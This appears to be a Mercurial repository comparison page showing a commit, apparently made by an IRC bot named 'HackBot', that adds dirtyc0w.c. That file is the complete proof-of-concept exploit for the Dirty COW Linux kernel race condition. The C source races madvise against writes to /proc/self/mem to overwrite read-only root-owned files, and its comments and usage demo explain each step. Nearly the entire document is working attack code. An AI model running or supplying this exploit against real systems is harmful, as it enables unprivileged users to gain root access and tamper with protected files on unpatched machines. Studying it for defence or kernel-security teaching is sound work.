Mercurial > repo
comparison dirtyc0w.c @ 9488:c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
author | HackBot |
---|---|
date | Fri, 28 Oct 2016 18:28:08 +0000 |
parents | |
children |
comparison
equal
deleted
inserted
replaced
9487:283a0b9e572b | 9488:c44d1d9b6099 |
---|---|
1 /* | |
2 ####################### dirtyc0w.c ####################### | |
3 $ sudo -s | |
4 # echo this is not a test > foo | |
5 # chmod 0404 foo | |
6 $ ls -lah foo | |
7 -r-----r-- 1 root root 19 Oct 20 15:23 foo | |
8 $ cat foo | |
9 this is not a test | |
10 $ gcc -pthread dirtyc0w.c -o dirtyc0w | |
11 $ ./dirtyc0w foo m00000000000000000 | |
12 mmap 56123000 | |
13 madvise 0 | |
14 procselfmem 1800000000 | |
15 $ cat foo | |
16 m00000000000000000 | |
17 ####################### dirtyc0w.c ####################### | |
18 */ | |
19 #include <stdio.h> | |
20 #include <sys/mman.h> | |
21 #include <fcntl.h> | |
22 #include <pthread.h> | |
23 #include <unistd.h> | |
24 #include <sys/stat.h> | |
25 #include <string.h> | |
26 #include <stdint.h> | |
27 | |
28 void *map; | |
29 int f; | |
30 struct stat st; | |
31 char *name; | |
32 | |
33 void *madviseThread(void *arg) | |
34 { | |
35 char *str; | |
36 str=(char*)arg; | |
37 int i,c=0; | |
38 for(i=0;i<100000000;i++) | |
39 { | |
40 /* | |
41 You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 | |
42 > This is achieved by racing the madvise(MADV_DONTNEED) system call | |
43 > while having the page of the executable mmapped in memory. | |
44 */ | |
45 c+=madvise(map,100,MADV_DONTNEED); | |
46 } | |
47 printf("madvise %d\n\n",c); | |
48 } | |
49 | |
50 void *procselfmemThread(void *arg) | |
51 { | |
52 char *str; | |
53 str=(char*)arg; | |
54 /* | |
55 You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 | |
56 > The in the wild exploit we are aware of doesn't work on Red Hat | |
57 > Enterprise Linux 5 and 6 out of the box because on one side of | |
58 > the race it writes to /proc/self/mem, but /proc/self/mem is not | |
59 > writable on Red Hat Enterprise Linux 5 and 6. | |
60 */ | |
61 int f=open("/proc/self/mem",O_RDWR); | |
62 int i,c=0; | |
63 for(i=0;i<100000000;i++) { | |
64 /* | |
65 You have to reset the file pointer to the memory position. | |
66 */ | |
67 lseek(f,(uintptr_t) map,SEEK_SET); | |
68 c+=write(f,str,strlen(str)); | |
69 } | |
70 printf("procselfmem %d\n\n", c); | |
71 } | |
72 | |
73 | |
74 int main(int argc,char *argv[]) | |
75 { | |
76 /* | |
77 You have to pass two arguments. File and Contents. | |
78 */ | |
79 if (argc<3) { | |
80 (void)fprintf(stderr, "%s\n", | |
81 "usage: dirtyc0w target_file new_content"); | |
82 return 1; } | |
83 pthread_t pth1,pth2; | |
84 /* | |
85 You have to open the file in read only mode. | |
86 */ | |
87 f=open(argv[1],O_RDONLY); | |
88 fstat(f,&st); | |
89 name=argv[1]; | |
90 /* | |
91 You have to use MAP_PRIVATE for copy-on-write mapping. | |
92 > Create a private copy-on-write mapping. Updates to the | |
93 > mapping are not visible to other processes mapping the same | |
94 > file, and are not carried through to the underlying file. It | |
95 > is unspecified whether changes made to the file after the | |
96 > mmap() call are visible in the mapped region. | |
97 */ | |
98 /* | |
99 You have to open with PROT_READ. | |
100 */ | |
101 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
102 printf("mmap %zx\n\n",(uintptr_t) map); | |
103 /* | |
104 You have to do it on two threads. | |
105 */ | |
106 pthread_create(&pth1,NULL,madviseThread,argv[1]); | |
107 pthread_create(&pth2,NULL,procselfmemThread,argv[2]); | |
108 /* | |
109 You have to wait for the threads to finish. | |
110 */ | |
111 pthread_join(pth1,NULL); | |
112 pthread_join(pth2,NULL); | |
113 return 0; | |
114 } |